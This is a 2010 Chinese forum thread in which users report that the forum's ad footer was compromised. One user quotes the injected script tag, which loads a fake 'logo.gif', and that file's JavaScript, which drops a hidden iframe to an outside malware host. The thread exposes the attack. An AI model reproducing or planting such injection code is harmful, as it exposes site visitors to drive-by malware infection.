POPPUR爱换

标题: 又有马 [打印本页]

---

作者: bd8ga    时间: 2010-4-9 00:08
标题: 又有马
<div class="ad_footerbanner" id="hide_ad_footerbanner2"><script type="text/javascript"><!--
google_ad_client = "pub-5896050825064389";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text";
google_ad_channel = "";
google_ui_features = "rc:0";
//-->
</script>
<script language="javascript" type="text/javascript" src="http://www.crcf.org.cn/logo.gif?°¨"></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>
<div class="ad_footerbanner" id="hide_ad_footerbanner3"></div>

---

作者: god70    时间: 2010-4-9 08:45
我也不知道论坛怎么搞的。。

现在QQ的TT浏览器直接把论坛显示为恶意网页。。这样下去。还有多人来GZ？

---

作者: Elvis    时间: 2010-4-9 15:57
我郁闷的是我怎么看不到有这段代码啊。我的360也没提示，ff浏览器也没报警。看得到的我还能想办法，看不到的，我怎么抓啊。。天

---

作者: bd8ga    时间: 2010-4-10 03:10
lynx --source ?
var cookieString=document.cookie;
var start=cookieString.indexOf("cookiesleep");
if(start!=-1){}else{var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="cookiesleep=test;expires="+expires.toGMTString();
document.write("<iframe src=http://ferrari27.2288.org:8800/ak47/18.html width=100 height=0 border=0></iframe>");}

---

作者: bd8ga    时间: 2010-4-10 03:11
这一段是那个gif伪装的js代码：
lynx --source http：//www.crcf.org.cn/logo.gif?
var cookieString=document.cookie;
var start=cookieString.indexOf("cookiesleep");
if(start!=-1){}else{var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="cookiesleep=test;expires="+expires.toGMTString();
document.write("<iframe src=http://ferrari27.2288.org:8800/ak47/18.html width=100 height=0 border=0></iframe>");}

---

作者: bd8ga    时间: 2010-4-10 03:12
另外，你的browser看不到这段代码，不能直接检查模版吗？

---

作者: ljlxl    时间: 2010-4-10 09:20
确实有码啊，昨晚提示了一晚上马，今早倒没有了

---

作者: justwater    时间: 2010-4-10 11:45

确实有码啊，昨晚提示了一晚上马，今早倒没有了
ljlxl 发表于 2010-4-10 09:20

    10分钟前 我上的时候还有报

---

作者: bd8ga    时间: 2010-4-11 21:02
今天晚上，又有马了。
<div class="ad_footerbanner" id="hide_ad_footerbanner2"><script type="text/javascript"><!--
google_ad_client = "pub-5896050825064389";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text";
google_ad_channel = "";
google_ui_features = "rc:0";
//-->
</script>
<script language="javascript" type="text/javascript" src="http://www.crcf.org.cn/logo.gif?°¨"></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>
<div class="ad_footerbanner" id="hide_ad_footerbanner3"></div>
</div>

---

欢迎光临 POPPUR爱换 (https://we.poppur.com/)

Powered by Discuz! X3.4